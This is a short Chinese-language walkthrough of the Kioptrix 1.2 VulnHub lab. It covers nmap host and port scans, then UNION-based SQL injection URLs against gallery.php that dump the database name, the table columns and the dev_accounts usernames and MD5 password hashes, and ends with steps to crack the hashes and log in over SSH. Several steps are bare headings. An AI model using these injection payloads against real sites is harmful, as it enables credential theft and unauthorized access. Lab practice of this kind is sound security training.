Kioptrix-1.2打靶渗透

靶机下载地址：https://download.vulnhub.com/kioptrix/KVM3.rar

1. 主机发现+端口扫描+目录扫描【192.168.1.128】

1.1. 主机发现

nmap -sn 192.168.1.0/24|grep -B 2 '00:0C:29:01:06:B7'

1.2. 端口扫描

nmap -p- 192.168.1.128

1.3. 目录扫描

2. web漏洞发掘

2.1. 进入80端口

1. 老规矩，逐个点击功能点挖掘可能可以利用的功能点；->主页面点击now无法解析 -> 点击其他功能点，发现存在登录功能点，但与前者一样需绑定域名才可解析；

具体域名绑定流程请移步：

1. 绑定成功后，查看now功能；-> 成功解析

1. 老规矩，逐个点击功能点，挖掘可能存在的功能点；-> 出现可疑的sql注入点

1. 存在回显，爆出库名

http://kioptrix3.com/gallery/gallery.php?id=1%20union%20select%201,database(),3,4,5,6

1. 爆出库名 -> 爆出MD5加密的账号密码

http://kioptrix3.com/gallery/gallery.php?id=1%20union%20select%201,group_concat(column_name),3,4,5,6%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27dev_accounts%27
http://kioptrix3.com/gallery/gallery.php?id=1%20union%20select%201,username,password,4,5,6%20from%20dev_accounts

1. MD5解密

1. SSH连接